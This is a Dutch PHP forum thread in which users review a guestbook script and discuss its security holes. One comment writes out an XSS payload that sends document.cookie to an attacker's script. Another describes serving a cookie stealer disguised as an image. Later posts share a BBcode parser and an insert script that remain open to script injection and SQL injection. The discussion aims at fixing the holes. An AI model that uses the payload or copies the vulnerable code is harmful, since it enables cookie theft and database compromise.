Gevorderd gastenboek

Door Chris , 23 jaar geleden, 9.544x bekeken

Ik heb een gastenboek geschreven gebaseerd op een nieuws-systeem van mij.

Functies:
*BBcode
*Alternating rij kleuren
*Pagination
*Smilies

Suggesties zijn altijd welkom, en opbouwende kritiek natuurlijk ook;)

Gesponsorde koppelingen

PHP script bestanden

  1. gevorderd-gastenboek

 

Er zijn 78 reacties op 'Gevorderd gastenboek'

PHP hulp
PHP hulp
0 seconden vanaf nu
 

Gesponsorde koppelingen
Lissy Pixel
Lissy Pixel
23 jaar geleden
 
0 +1 -0 -1
Leuk script :)
Vind je eht goed als ik het bij mij op de site in de bibliotheek neerzet?
Jelmer -
Jelmer -
23 jaar geleden
 
0 +1 -0 -1
Je controleert het naam-veld niet op html :)
PurpleMadness -
PurpleMadness -
23 jaar geleden
 
0 +1 -0 -1
Quote:
Jelmer schreef op 23.02.2006 08:56
Je controleert het naam-veld niet op html :)


Ik zag toch echt ergens htmlspecialchars() staan hoor..

'k Weet alleen niet of het uitmaakt.
Eric Cartman
Eric Cartman
23 jaar geleden
 
0 +1 -0 -1
UBB-hacks zijn mogelijk, als ik bijvoorbeeld een eeuwige lus inbouw, dan ben je mooi de klos...
Jelmer -
Jelmer -
23 jaar geleden
 
0 +1 -0 -1
Naja, ik heb alleen nog maar het voorbeeld gecontroleerd. Daar kan je onder andere javascript in links oproepen, wat onveilig is voor bezoekers (document.cookies) en naja, zie het voorbeeld maar, ik heb een iframe in mijn naam gezet.
Elwin - Fratsloos
Elwin - Fratsloos
23 jaar geleden
 
0 +1 -0 -1
E-mailadres wordt ook niet gecontroleerd. Probeer deze functie er is in te verwerken:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
function check_email_mx($email) {
  // Checks e-mailadress

  if((preg_match('/(@.*@)|(\.\.)|(@\.)|(\.@)|(^\.)/',$email)) || (preg_match('/^.+\@(\[?)[a-zA-Z0-9\-\.]+\.([a-zA-Z]{2,3}|[0-9]{1,3})(\]?)$/',$email))) {
    $host = explode('@', $email);
    if(checkdnsrr($host[1].'.', 'MX') ) return true;
    if(checkdnsrr($host[1].'.', 'A') ) return true;
    if(checkdnsrr($host[1].'.', 'CNAME') ) return true;
  }

  return false;
}

?>


Of in ieder gavel een functie die kijkt of er voldaan wordt aan een string die op een e-mailadres lijkt (punten en de @).

Edit:
Die iframe ziet er erg grappig uit... :)

Elwin
Jason de Ridder
Jason de Ridder
23 jaar geleden
 
0 +1 -0 -1
zou je het formulie niet gewoon in HTML doen. Dat je de PHP even afsluit?
Chris
Chris
23 jaar geleden
 
0 +1 -0 -1
Ik zie nu hoe een kwaadwillende geest zo'n gastenboek zou kunnen vernielen, heeft iemand een idee hoe ik zorg dat ik javascript en html blok?

edit:
en dan staat er ook nog HTML OFF :P foutje
Chris
Chris
23 jaar geleden
 
0 +1 -0 -1
html in je naam is nu onmogelijk en in het emailveld ook, wat ik nog niet helemaal begrijp is dat htmlspecialchars() genoeg is om html te blokkeren? is dat zo, of hebben jullie nog meer manieren om gevaarlijke dingen erin te krijgen?

bedankt iig:)
Katjan
katjan
23 jaar geleden
 
0 +1 -0 -1
*

'&' (ampersand) wordt '&amp;'
*

'"' (dubbele quote) wordt '&quot;' wanneer ENT_NOQUOTES niet geactiveerd is.
*

''' (enkele quote) wordt '&#039;' alleen wanneer ENT_QUOTES geactiveerd is.
*

'<' (kleiner dan) wordt '&lt;'
*

'>' (groter dan) wordt '&gt;'

**rip van php.net**

dus html en js gaat niet lukken..
ik heb je script niet echt doorgelezen nog.. maar een paar dingen die soms over het hoofd gezien worden zijn:
als ik een plaatje neer kan zetten, dan kan ik een php script maken, wat je cookies steelt.. (htacces gewoon jpg als php laten parsen, dan eerst een cookie stealer, en dan een plaatje terugsture.. simpel als dat!)
op deze manier is het ook mogelijk onschuldigen te laten mass-posten..
gewoon hetzelfde script als net die cookie stealer een lusje geven, hem data laten posten, klaar!

huib
Chris
Chris
23 jaar geleden
 
0 +1 -0 -1
@huib

ik snap je even niet helemaal:S leg eens uit hoe je via een plaatje php kan uitvoeren?

edit:
formulier is nu onder de php gezet.
Chris
Chris
23 jaar geleden
 
0 +1 -0 -1
email word nu gevalideerd, bbcode.php is nu functies.php en reactie.php is ook veranderd.

nu nog javascript blokkeren in tags, enig idee?
voor de rest denk ik dat ik een redelijk script heb gemaakt, wat jullie?

Chris
Alfred -
Alfred -
23 jaar geleden
 
0 +1 -0 -1
Quote:
$result = mysql_query("SELECT id FROM gastenboek");
$aantal = mysql_num_rows($result);


Kan je vervangen door:

$result = mysql_query("SELECT COUNT(`id`) FROM gastenboek");
$aantal = mysql_result($result, 0);

De rijen ophalen is zinloos, je gebruikt ze nadien niet meer, dus een count() is sneller én beter :)
Chris
Chris
23 jaar geleden
 
0 +1 -0 -1
Quote:
Kan je vervangen door:

$result = mysql_query("SELECT COUNT(`id`) FROM gastenboek");
$aantal = mysql_result($result, 0);


:: gedaan:)
PHP erik
PHP erik
23 jaar geleden
 
0 +1 -0 -1
Haal dan wel die belachelijke backticks (`````) eruit, dat is een stom grapje van MySQL en wijkt af van de SQL-standaard :)
Eric Cartman
Eric Cartman
23 jaar geleden
 
0 +1 -0 -1
Chris:
@huib

ik snap je even niet helemaal:S leg eens uit hoe je via een plaatje php kan uitvoeren?

edit:
formulier is nu onder de php gezet.

Heel simpel, je roept het aan door <img src="bestand.php" alt="niks" /> en dan zet je daar je expressies in...
Jelmer -
Jelmer -
23 jaar geleden
 
0 +1 -0 -1
Even voor de duidelijkheid: Cookies worden alleen naar adressen gestuurd die op het zelfde domein liggen. Dus ik kan niet hier zomaar een plaatje dumpen en al jullie koekjes proeven. Het kan wel waneer je bijvoorbeeld <img src="" onload="this.src='mijnsite/bestand.php?cookie='+document.cookie"/>, dus javascript kan toepassen. Maar dat kon al niet op jouw site, hij blokkeert " in de url.
Eric Cartman
Eric Cartman
23 jaar geleden
 
0 +1 -0 -1
Dan kan je toch gewoon ' gebruiken?
Jelmer -
Jelmer -
23 jaar geleden
 
0 +1 -0 -1
Binnen "" heeft ' geen betekenis. <img src="plaatje.php' onload='this.src=\'iets.php\'+document.cookie"/> laat gewoon het plaatje met de url plaatje.php' onload='this.src=\'iets.php\'+document.cookie, maar dan urlencoded().
Pieter Boussaer
Pieter Boussaer
23 jaar geleden
 
0 +1 -0 -1
Hallo

hoe ziet je tabel in je database eruit. Ik zie dat hier niet staan.
Chris
Chris
23 jaar geleden
 
0 +1 -0 -1
Quote:
Hallo

hoe ziet je tabel in je database eruit. Ik zie dat hier niet staan.


staat nu bovenaan op deze pagina;)
Pieter Boussaer
Pieter Boussaer
23 jaar geleden
 
0 +1 -0 -1
ja bedankt

maar bij mij lukt de ubb code niet als ik een smilie invoeg en dan kijk ik naar de berichten staat daar zo iet raars.

dit komt bij men bericht:

test op 26-02-2006 om 13
:o:k<de="0" sc=">ss<r <<">i>b>> < <b>> test< <b>> :ode="0" src="">

http://kljzaffelare.funpic.de/home.php?menu=gastenboek1


23 jaar geleden
 
0 +1 -0 -1
het ziet er heel goed uit,

maar ik zou het nou niet echt een simpel gastenboek noemen:
afbreken op elke x reacties
ubb(de codes van PHPHulp?)
smiles
en prima beschermd tegen mysql_injection met is_numeric over de $_GET en al het gezeik rondom de invoer
Pieter Boussaer
Pieter Boussaer
23 jaar geleden
 
0 +1 -0 -1
Ik krijg die bbcode echt niet werkend als ik het toevoeg dan krijg ik altijd rare dingen in men bericht.

en er staat een fout in je bbcodes.html

schokend moet schokkend zijn denk ik
Chris
Chris
23 jaar geleden
 
0 +1 -0 -1
@Gijs
het begon simpel, ik zal het even hernoemen.

@Pieter
bbcodes.html zal het niet aan liggen, mail me anders even (pm lees ik minder vaak) en dan fixen we het even.
Chris
Chris
23 jaar geleden
 
0 +1 -0 -1
whoot!! :shock wat gebeurt hier nou. word mijn html nou geparsed en mn css ook, he dit klopt niet, roep basje!!!

ow nu is het weer normaal, hoe dat nou kwam weet ik niet.
Bassos
Bassos
23 jaar geleden
 
0 +1 -0 -1
Chris, de onderdelen die je aangepast hebt staan die hierboven al in je script verwerkt?
Bassos
Bassos
23 jaar geleden
 
0 +1 -0 -1
Hij werkt wel goed, alleen vind ik het een beetje irri dat je bericht op de laatste pagina terecht komt in plaats van op de eerste.
Arjan Kapteijn
Arjan Kapteijn
23 jaar geleden
 
0 +1 -0 -1
Bassos, DESC veranderen in ASC.
Arwin  vdv
Arwin vdv
23 jaar geleden
 
0 +1 -0 -1
Handig script!!
bedankt! Chris!
Koen van emden
koen van emden
23 jaar geleden
 
0 +1 -0 -1
uhmm... nogal n00b vraag van mij:
hoe installeer ik zo'n script.?
:D
Lissy Pixel
Lissy Pixel
23 jaar geleden
 
0 +1 -0 -1
Geweldig bedankt ik heb hem bij een vriendin opgezet en ga hem nu Duits competable maken :)
SITE
Lissy Pixel
Lissy Pixel
23 jaar geleden
 
0 +1 -0 -1
OK bij mij werkt de UBB code niet :(((
Iemand enig idee waarom niet?
Pieter Boussaer
Pieter Boussaer
23 jaar geleden
 
0 +1 -0 -1
Ik had ook dit probleem. Ik heb dan maar een andere UBB parser gebruikt en nu werkt het perfect.

dit is functies.php
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<?
function bbcode($reactie)
    {

    $reactie = nl2br(htmlspecialchars($reactie));
    
    // Enters                        V
    $reactie = str_replace ("[br]","\n",$reactie);
    $reactie = str_replace ("\n","<br>",$reactie);
    
    // Vet, schuin, etc            V
    $reactie = preg_replace("/\[b\](.+?)\[\/b\]/is",'<strong>\1</strong>', $reactie);
    $reactie = preg_replace("/\[i\](.+?)\[\/i\]/is",'<em>\1</em>', $reactie);
    $reactie = preg_replace("/\[u\](.+?)\[\/u\]/is",'<u>\1</u>', $reactie);
    $reactie = preg_replace("/\[s\](.+?)\[\/s\]/is",'<s>\1</s>', $reactie);
    
    // Marquee
    $reactie = str_replace ("[move]", "<div align=\"center\"><marquee width=\"90%\">", $reactie);
    $reactie = str_replace ("[/move]", "</marquee></div>", $reactie);
      
    // Color, font & size        V
    $reactie = preg_replace ("#\[color=(\#[0-9A-F]{6}|[a-z\-]+)\](.*?)\[/color\]#si", "<font color=\"\\1\">\\2</font>", $reactie);
    $reactie = preg_replace ("/\[font=(.*)\](.*)\[\/font\]/", "<font face=\"$1\">$2</font>", $reactie);
    $reactie = preg_replace ("/\[size=(.*)\](.*)\[\/size\]/", "<font size=\"$1\">$2</font>", $reactie);
    
    // Email toevoegen           V
    $reactie = preg_replace("/\[email\](.*?)\[\/email\]/si", "<a href=\"mailto:\\1\">\\1</a>",$reactie);
    
    // Plaatje toevoegen           V
    $reactie = preg_replace("/\[img\](.*?)\[\/img\]/si", "<img src=\"\\1\" border=\"0\">",$reactie);
    
    // Url toevoegen           V
    $reactie = preg_replace("/\[url\](.*?)\[\/url\]/si", "<a href=\"\\1\" target=\"_blank\">\\1</a>",$reactie);

    // Diversen               V
    $reactie = str_replace ("[tt]", "<tt>", $reactie);
    $reactie = str_replace ("[/tt]", "</tt>", $reactie);
    $reactie = str_replace ("[left]", "<div align=left>", $reactie);
    $reactie = str_replace ("[/left]", "</div>", $reactie);
    $reactie = str_replace ("[center]", "<div align=\"center\">", $reactie);
    $reactie = str_replace ("[/center]", "</div>", $reactie);
    $reactie = str_replace ("[right]", "<div align=\"right\">", $reactie);
    $reactie = str_replace ("[/right]", "</div>", $reactie);
    $reactie = str_replace ("[sub]", "<sub>", $reactie);
    $reactie = str_replace ("[/sub]", "</sub>", $reactie);
    $reactie = str_replace ("[sup]", "<sup>", $reactie);
    $reactie = str_replace ("[/sup]", "</sup>", $reactie);
    $reactie = str_replace ("[fixed]", "<font face=\"Courier New\">", $reactie);
    $reactie = str_replace ("[/fixed]", "</font>", $reactie);
    $reactie = str_replace ("[[","{{",$reactie);
    $reactie = str_replace ("]]","}}",$reactie);
    $reactie = str_replace ("|","&#124;",$reactie);
    $reactie = str_replace ("[pre]","<pre>",$reactie);
    $reactie = str_replace ("[/pre]","</pre>",$reactie);
    $reactie = str_replace ("{{","[",$reactie);
    $reactie = str_replace ("}}","]",$reactie);
    
    // Horizontale lijn    V
    $reactie = str_replace ("[hr]","<hr color=\"#000000\" noshade />",$reactie);
    
    // Lijst                 V
    $reactie = str_replace ("[list]","<ul>",$reactie);
    $reactie = str_replace ("[*]","<li>",$reactie);
    $reactie = str_replace ("[/list]","</li></ul>",$reactie);
    
    // Tabel                  V
    $reactie = str_replace ("[table]","<table class=\"main\">",$reactie);
    $reactie = str_replace ("[/table]","</table>",$reactie);
    $reactie = str_replace ("[tr]","<tr>",$reactie);
    $reactie = str_replace ("[/tr]","</tr>",$reactie);
    $reactie = str_replace ("[td]","<td>",$reactie);
    $reactie = str_replace ("[/td]","</td>",$reactie);
      
    // Smiley's                V
    
    $reactie = str_replace (":p","<img src=\"files/images/smilies/tongue.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
    $reactie = str_replace (":(","<img src=\"files/images/smilies/sad.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
    $reactie = str_replace (":)","<img src=\"files/images/smilies/smile.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
    $reactie = str_replace (":D","<img src=\"files/images/smilies/biggrin.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
    $reactie = str_replace (";)","<img src=\"files/images/smilies/wink.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
    $reactie = str_replace (":roll","<img src=\"files/images/smilies/rolleyes.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
    $reactie = str_replace (":kiss","<img src=\"files/images/smilies/kiss.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
    $reactie = str_replace (":angry","<img src=\"files/images/smilies/angry.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
    $reactie = str_replace (":cry","<img src=\"files/images/smilies/cry.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
    $reactie = str_replace (":huh","<img src=\"files/images/smilies/huh.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
    $reactie = str_replace (":omg","<img src=\"files/images/smilies/omg.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
    $reactie = str_replace (":cool","<img src=\"files/images/smilies/cool.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
    
    return $reactie;
    }

function
checkmail($email)
    {

    if (eregi("^[0-9a-z]([-_.]?[0-9a-z])*@[0-9a-z]([-.]?[0-9a-z])*\\.[a-z]{2,4}$",$email))
        {

        $valid = "true";
        }

    else
        {
        $valid = "false";
        }

    return $valid;
    }

?>
Lissy Pixel
Lissy Pixel
23 jaar geleden
 
0 +1 -0 -1
Ik heb het gevonden en alles werkt nu zelf am Deutsch :)
Lissy Pixel
Lissy Pixel
23 jaar geleden
 
0 +1 -0 -1
Dank je Pieter en ik heb alles werken :)))))
Pieter Boussaer
Pieter Boussaer
23 jaar geleden
 
0 +1 -0 -1
Graag gedaan Lissy

Wat er fout zit in Chris zijn UBB parser weet ik niet. Maarja nu werkt het toch met een andere UBB parser.

Dat is goed he:d
Tomas
tomas
23 jaar geleden
 
0 +1 -0 -1
waar kan je de plaatjes downloaden?????
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
echo "<img src=\"images/smilies/tongue.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">";
?>

zet het ff d'r op.
Tomas
tomas
23 jaar geleden
 
0 +1 -0 -1
Wil je a.u.b. een download bestand aanmaken wand ik heb geen zin in dat gekoopieër!!!!?


23 jaar geleden
 
0 +1 -0 -1
Je kan op Afbeelding klikken, bovenaan het code blok.
Arwin  vdv
Arwin vdv
22 jaar geleden
 
0 +1 -0 -1
HELP!!!

Er wordt allemaal spam in allegastenboeken van dit script geplaatst!!!!
Weet iemand hier wat tegen!!!???
Mebus  Hackintosh
Mebus Hackintosh
22 jaar geleden
 
0 +1 -0 -1
zet er een session in of sleep(15);
Arwin  vdv
Arwin vdv
22 jaar geleden
 
0 +1 -0 -1
oke??
(ik ben nog een n00b)
wat voor een?
Mebus  Hackintosh
Mebus Hackintosh
22 jaar geleden
 
0 +1 -0 -1
gebruik anders gewoon sleep(5);

dan moeten ze weer 5 seconden wachten voordat ze kunnen posten
Arwin  vdv
Arwin vdv
22 jaar geleden
 
0 +1 -0 -1
oke ga ik proberen
Mebus  Hackintosh
Mebus Hackintosh
22 jaar geleden
 
0 +1 -0 -1
bericht.php:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Bericht</title>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">
<script src="scripts.js" type="text/javascript"></script>
<link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

// Database gegevens includen.
include('dbconnect.php');

// Include de functies (BBcode, Mailcheck).
include('functies.php');

// Als het formulier is verzonden, voeg reactie toe in database.
if($_POST['submit']) {

sleep(5);

    // Als auteur leeg is, auteur is anoniem.
    if(empty($_POST['auteur'])) {
      $auteur = "Anoniem";
    }

    else {
      $auteur = htmlspecialchars($_POST['auteur']);
    }


    // Als er geen reactie is geschreven, geef melding en vermoord script.
    if(empty($_POST['bericht'])) {
        echo "Je moet een bericht schrijven! Klik <a href=\"gastenboek.php\">hier</a> om terug te gaan";
        die();
    }

    else {
        $bericht = bbcode($_POST['bericht']);
    }


    // Check of het email adres klopt.
    if(checkmail($_POST['email']) == "true") {
        $email = $_POST['email'];
    }

    else {
        echo "Je hebt een vals email adres ingevuld! Klik <a href=\"gastenboek.php\">hier</a> om terug te gaan";
        die();
    }

    $ip = $_POST['ip'];
    $datum = date("d-m-Y");
    $tijd = date("H:i:s");
    $datumtijd = "".$datum." om ".$tijd."";

    // De mysql query om de reactie in db te zetten.
    $insert = mysql_query("INSERT INTO gastenboek (ip, auteur, bericht, email, datum) VALUES ('$ip', '$auteur', '$bericht', '$email', '$datumtijd')");

    // Als $insert lukt, geef melding, anders geef error
    if($insert) {
        echo "Uw bericht is succesvol toegevoegd, klik <a href=\"gastenboek.php\">hier</a> om terug te gaan";
    }

    else {
        echo "Er is iets misgegaan, uw bericht is niet toegevoegd";
    }
}

?>

</body>
</html>
Bassos
Bassos
22 jaar geleden
 
0 +1 -0 -1
Nog iemand aanwezig?? Ik merk bij dit gastenboek dat de berichten niet goed worden gesorteerd op datum. Want hij kijkt alleen maar naar de dag en niet naar de maand. Heeft iemand een oplossing hiervoor?
Tim
Tim
22 jaar geleden
 
0 +1 -0 -1
Ik heb alles nu gestorteerd op ID nummer dan staan ze wel goed
Mart
Mart
22 jaar geleden
 
0 +1 -0 -1
Mooi script,

Check my site http://hellguards.phpnet.us/gb-db/gastenboek.php voor een voorbeeld
Niek Weevers
Niek Weevers
22 jaar geleden
 
0 +1 -0 -1
De smileys werken helemaal niet. Als ik klik op een smiley gebeurt er helemaal niks, als ik de juiste combinatie intyp (bijvoorbeeld :) ) Dan komt er te staan in het bericht als ik heb ingevooer: Emoticon
Waar ligt dit aan?
Niek Weevers
Niek Weevers
22 jaar geleden
 
0 +1 -0 -1
De smileys werken helemaal niet. Als ik klik op een smiley gebeurt er helemaal niks, als ik de juiste combinatie intyp (bijvoorbeeld :) ) Dan komt er te staan in het bericht als ik heb ingevooer: Emoticon
Waar ligt dit aan?
Crispijn -
Crispijn -
22 jaar geleden
 
0 +1 -0 -1
je hebt geen plaatjes in de map waar de plaatjes moeten staan geplaatst. Wanneer je iets hebt ingevoerd en hij vind het plaatje niet zal hij dus de alternatieve tekst weergeven Emoticon. Grote kans dat wanneer je plaatjes bij elkaar zoekt en deze de juiste bestandsnaam geeft je smiley's wel werken!

Succes!
Niek Weevers
Niek Weevers
22 jaar geleden
 
0 +1 -0 -1
Ok bedankt. Ik ben erachter, de smiles moeten in 2 mappen staan. Ze doen het nu wel. Maar alleen als je de 'code' invoert. Het werkt nog niet als je op de smile klikt, dat ze dan in de tekst komen te staan. Enig idee hoe dat komt?
http://brefriends.nl/gastenboek.php
PHP Newbie
PHP Newbie
22 jaar geleden
 
0 +1 -0 -1
FireFox zegt: sendtext is not defined

Kijk is naar het script wat in Arjan's nieuwsysteem zit, en ik mijn mailinglist. Daarmee moet het lukken
Frank -
Frank -
22 jaar geleden
 
0 +1 -0 -1
Dit script gaat problemen opleveren wanneer je iets met datums wilt gaan doen:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
$datum
= date("d-m-Y");
?>

Dit heeft natuurlijk niets met een datum te maken wanneer je dit zo in de database gaat wegschrijven. Ga bv. maar eens sorteren op datum, dit zal de meest bijzondere resultaten opleveren.

Een datum sla je op in een DATE en NOOIT, maar dan ook helemaal NOOIT in een VARCHAR. En omdat DATE het iso-formaat gebruikt, moet je dus yyyy-mm-dd als formaat hanteren. Maar omdat rekenen met datums zo'n beetje standaard database-werk is, hebben ze daar de functie NOW() voor in het leven geroepen, zie de handleiding van MySQL (hoofdstuk 12.5).
Niek Weevers
Niek Weevers
22 jaar geleden
 
0 +1 -0 -1
Ik heb nu ook last van spam in dit gastenboek. Om de 7 minuten wordt er een laptekst ingezet met allemaal links er in (zonder de BB code dan). Dat kun je toch niet verhelpen met een sleep erin. Iemand nog tips of een oplossing hiervoor. Het is trouwens elke keer een andere naam en e-mail
Purkie
Purkie
22 jaar geleden
 
0 +1 -0 -1
Mooi script, maar volgens mij toch een paar kleine onvolkomenheden.
1. BB-codes werken bij mij niet (mijn fout?). In de posts zie ik dat er een alternatieve functies.php moet worden gebruikt. Tip aan Chris: pas dit zo aan in de oorspronkelijke functies.php, dat is voor volgende gebruikers makkelijker.
2. Frank schrijft dat voor de datum een type DATE moet worden gebruikt. Volgens mij is dat correct, maar hoe doe je de conversie dan? (BTW bij het ophalen van de berichten wordt er nu gesorteerd op datum, maar nu is de datum opgeslagen in een tekstveld, wat dan tot rare resultaten leidt: 16-10-2006 staat boven 2-11-2006 staat boven 1-8-2005...). Volgens mij leidt dit namelijk wel tot wat wijzigingen links en rechts: het tijdstip moet ook worden opgeslagen (is dit een extra veld in de database?) en bij het ophalen van de data moet dan een vertaalslag worden gemaakt om te komen tot 'dd-mm-yyyy om hh:mm:ss'. Kan iemand een php-newbee hiermee op weg helpen?

Voor de rest nogmaals de complimenten voor het mooie script, mijn bovenstaande puntjes zijn voor mij slechts de puntje op de i.
Niek Weevers
Niek Weevers
22 jaar geleden
 
0 +1 -0 -1
Kan ik hier makkelijk een captcha inmaken? Heb veel last van spam.
Heb al ip geblokt, maar helpt geen kloten.
Hoe doe ik dat met de captcha? Weet iemand een makkelijk voorbeeld, ik ben niet erg goed met php.
Johan
johan
22 jaar geleden
 
0 +1 -0 -1
ik heb een vraagje, ik heb het script nu werkend gekregen. Het bevalt me wel. Ik heb alleen 2 vraagjes.

1. Het schermpje van de BBcodes komt niet

2. als ik op m'n smilies klik, komen ze niet in de tekst te staan

hoe verhelp ik dit? alvast bedankt
Niek Weevers
Niek Weevers
22 jaar geleden
 
0 +1 -0 -1
1. zorg dat de link de juiste is naar de pagina van de bbcodes.
2. ik heb hetzelfde probleem, maar de juiste bbcode invoeren werkt wel
Jelle
jelle
22 jaar geleden
 
0 +1 -0 -1
waar zijn die smilys ? :s
Resie
Resie
21 jaar geleden
 
0 +1 -0 -1
Bedankt voor dit gastenboek! Ik heb hem op mijn site gezet en zelf aangepast qua layout, en hij werkt prima!

Er is echter één prbleempje: Zodra iemand een bericht in het gastenboek zet waar een 't (apostroph+t) in voorkomt, geeft het gastenboek een foutmelding. Omdat mijn website in een Nederlands dialect is waar " 't " vaak wordt gebruikt, is het voor mijn gastenboek belangrijk dat de gasten het kunnen gebruiken. Hoe regel ik dat?

Ik ben er al achter dat de code voor een apostroph &apos; is en heb geprobeerd het toe te voegen aan functies.php (waar ik denk dat het hoort), maar dat liep niet helemaal goed af.
Zou een meer ervaren php-er mij kunnen helpen?
Alvast hartelijk dank!


O ja en dan nog iets: Een admin zou een mooie aanvulling zijn op dit gastenboek. Is het mogelijk om dit op een eenvoudig manier te maken?
Wesley vinken
wesley vinken
21 jaar geleden
 
0 +1 -0 -1
mensen, zorg dat je die javascript goed geinclude hebt hé...
dan moet hij gewoon zeker werken.. dus:

<script src="scripts.js" type="text/javascript"></script>

verder vind ik het echt een moooi gastenboek, werkt mooi bij mij, zonder problemen, voor een voorbeeld kijk maar eens hier:
http://weaselweb.nl/gb/bericht.php

verder heb ik er niets op aan te merken... mooi script en werkt goed bij mij..

En jelle, smilies moet je zelf voor zorgen ;)
Wesley vinken
wesley vinken
21 jaar geleden
 
0 +1 -0 -1
misschien omdat dit gastenboek zijn datum opslaat in varchar, wat eigenlijk gewoon niet goed is, gebruik hier datetime voor, werkt veel beter ;) Het is geen probleem om dat aan te passen hoor :P en dan werk dat wel!
Bastiaan
Bastiaan
21 jaar geleden
 
0 +1 -0 -1
Open je PHP in functies.php anders even met
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
<?php, scheelt een hoop gezoek naar een fout die ik kreeg.
Terence Hersbach
Terence Hersbach
21 jaar geleden
 
0 +1 -0 -1
@bastiaan, dat ligt eraan of je server shottags ondersteund
Niek Weevers
Niek Weevers
21 jaar geleden
 
0 +1 -0 -1
Je kunt beter bij een foutmelding (bijv, geen bericht ingevoerd) de volgende link gebruiken
Klik <a href="javascript:history.go(-1)">hier</a>
ipv
Klik <a href=\"gastenboek.php\">hier</a>
Zo blijft hetgene wat je in hebt gevuld staan in het formulier. Kleine kanttekening maar.
Ron
Ron
20 jaar geleden
 
0 +1 -0 -1
Waar kan ik de bbcode images downloaden? Het ziet er zonder images zo kaal uit...
Resie
Resie
20 jaar geleden
 
0 +1 -0 -1
Hoe doe je dat met datetime in plaats van varchar? Gewoon datetime neerzetten overal waar nu varchar staat? Want ook bij mij stan de berichtjes door elkaar, en ik heb er niet zelf berichten aan toegevoegd...

Ik zou het leuk vinden als ik dat kon fixen maar helaas heb ik te weinig verstand van php. Al is het me wel gelukt om smileys toe te voegen aan mijn gastenboek.

Iemand nog een oplossing voor mijn " 't "probleem?Elke keer als iemand " 't " schrijft, wordt het bericht niet geaccepteerd. Moet ik iets toevoegen aan de code om dat te voorkomen? En zo ja: hoe en wat?

Groetjes Resie
Hendrik
Hendrik
20 jaar geleden
 
0 +1 -0 -1
Hallo, ik ben hier net nieuw en heb al een vraagje ;-)

ik heb deze code aan een vriend gegeven (ook zelf gebruik ik hem) maar bij hem staan er al meer dan 10 berichten in zijn database, maar als hij dan bovenaan naar pagina 2 wilt gaan vind de server die pagina niet :s wat kan ik daartegen doen?

EDIT: heb de fout al gevonden :) had een misse link gezet naar de paginas :) wel tof scriptje.. alleen zou ik wel de smiles erbij zetten.. (heb ze nu wel zelf gezocht)
Milo
Milo
20 jaar geleden
 
0 +1 -0 -1
Toppie gastenboek,
maar waar haal ik de smilies vandaan of moet je die zlef maken?
greetzz, milo
Jw
Jw
20 jaar geleden
 
0 +1 -0 -1
jah idd.. hoe kom je aan die smiles?
Wouter K
Wouter K
20 jaar geleden
 
0 +1 -0 -1
Zijn die er niet bij dan ?
En online voorbeeld is ook handig.
Patrick van Kampen
Patrick van Kampen
20 jaar geleden
 
0 +1 -0 -1
Goed gastenboek, het enigste wat jammer is dat er geen klein adminpannel o.i.d. bij zit, echter ga ik me binnenkort een beetje verdiepen in PHP en ga ik dit proberen te realiseren voor mezelf.

Nu heb ik 1 vraagje, zie http://perkele.nl/drc/gastenboek.php .. als je een smily aanklikt verschijnt deze niet in het textveld, doe ik iets fout?

Ik heb alle bestanden behalve gastenboek.php verplaatst naar /functies/ folder op mijn server, ik heb in alle pagina's een correct verwijzing gemaakt naar de correcte mappings ... doe ik dan toch iets verkeerd? Zoja, kunnen jullie me vertellen wat?

Alvast bedankt voor de moeite ..

Groetjes,

Patrick
Maarten
maarten
20 jaar geleden
 
0 +1 -0 -1
patrick schreef: als je een smily aanklikt verschijnt deze niet in het textveld

dat probleem heb ik dus ook.... hoe kan dat? de BBcode werkt wel als ik bijvoorbeeld gewoon :D invoer in het tekstveld. Maar het werkt niet om op de afbeeldingen te klikken en dán de smiley te zien krijgen in het geplaatste bericht. (verder een uitstekend script!)
Maarten
maarten
20 jaar geleden
 
0 +1 -0 -1
ow gevonden!

de verwijzing naar het .js bestand werkt op de een of andere manier niet goed. Als je de volgende code boven het 'addbericht'-form invoert (tussen de html-code), dan werkt het gewoon:

<script>
function sendtext(e, text) {
e.value += text
}
</script>
Bruno -
bruno -
19 jaar geleden
 
0 +1 -0 -1
hoe krijg je die foto's nou eigenlijk zo netjes onder elkaar? :P
ik heb ze allemaal naast elkaar :(
PHP hulp
PHP hulp
0 seconden vanaf nu
 

Gesponsorde koppelingen
--
--
19 jaar geleden
 
0 +1 -0 -1
Je kunt beter even een topic openen.

Om te reageren heb je een account nodig en je moet ingelogd zijn.

